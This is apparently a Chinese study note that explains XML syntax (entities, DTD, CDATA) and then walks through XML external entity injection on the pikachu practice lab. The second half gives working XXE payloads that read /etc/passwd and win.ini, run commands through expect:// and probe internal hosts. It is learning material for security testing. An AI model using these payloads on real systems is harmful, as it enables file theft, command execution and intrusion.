XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML和HTML对比
1、XML主要用来描述数据
2、HTML主要用来显示数据
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素 。
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
元素:
元素指的就是XML中的标记,这种标记也被称为标签、节点。
主要: XML标签大小敏感,根元素有且只有一个,成对出现。
属性:
属性可提供有关元素的额外信息 。
<元素名 属性名="属性值" 属性名='属性值'> <img src="computer.gif" />
实体:
实体是用来定义普通文本的变量。实体引用是对实体的引用。
预定义实体:
实体 | 描述 |
" | 双引号 |
' | 单引号 |
< | 小于,即< |
> | 大于,即> |
& | & |
自定义实体:
<!DOCTYPE 根元素名称[
<!ENTITY 实体名 实体内容>
]>
自定义一般实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book SYSTEM "demo8.dtd"[
<!ENTITY bj "北京大学出版社">
]>
<book>
<detail>
<name>XML</name>
<author>李白</author>
<publisher>&bj;</publisher>
<price>22.5</price>
<url>
<![CDATA[
<a href="#">链接1</a>
]]>
</url>
</detail>
<detail>
<name>PHP</name>
<author>杜甫</author>
<publisher>&bj;</publisher>
<price>22.5</price>
<url>
<![CDATA[
<a href="#">链接2</a>
]]>
</url>
</detail>
自定义参数实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roster SYSTEM "demo11.dtd"[
<!ENTITY % p "teacher"> <!-- 给参数赋值 -->
]>
<roster>
<teacher id="s">
<name></name>
<sex></sex>
<birthday></birthday>
<skill></skill>
</teacher>
</roster>
DTD(Document Type Definition,文档类型定义)
用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
PCDATA:
是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。
这些文本将被解析器检查实体以及标记。
<age>zhoujielun age > chenguanxi age</age>
CDATA:
是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
回归正题:
xml外部实体注入
XML解析依赖库libxml默认开启了对外部实体的引用(libxml<2.9 默认开启),导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行、内网扫描等危害。
pikachu靶场复现
GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台
任意文件读取
libxml2 | file、http、ftp |
PHP | file、http、ftp、php、glob、data... |
JAVA | file、http、ftp、https、jar、gopher... |
.NET | file、http、ftp、https |
判断是否存在漏洞:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY exist "存在漏洞" > ]>
<a>∃</a>
漏洞构造方式:
1.外部实体声明,外部实体声明+外部DTD文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&b;</a>
读取一些敏感目录,windows读取c:/windows/win.ini,linux读取 /etc/passwd
(file://协议只能用绝对路径)
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://127.0.0.1/test.dtd">
<c>&b;</c>
<!ENTITY b SYSTEM "file:///etc/passwd">
命令注入:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://cat /" >]>
<root>
<name>&xxe;</name>
</root>
内网探测,攻击:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
后续继续学习XEE......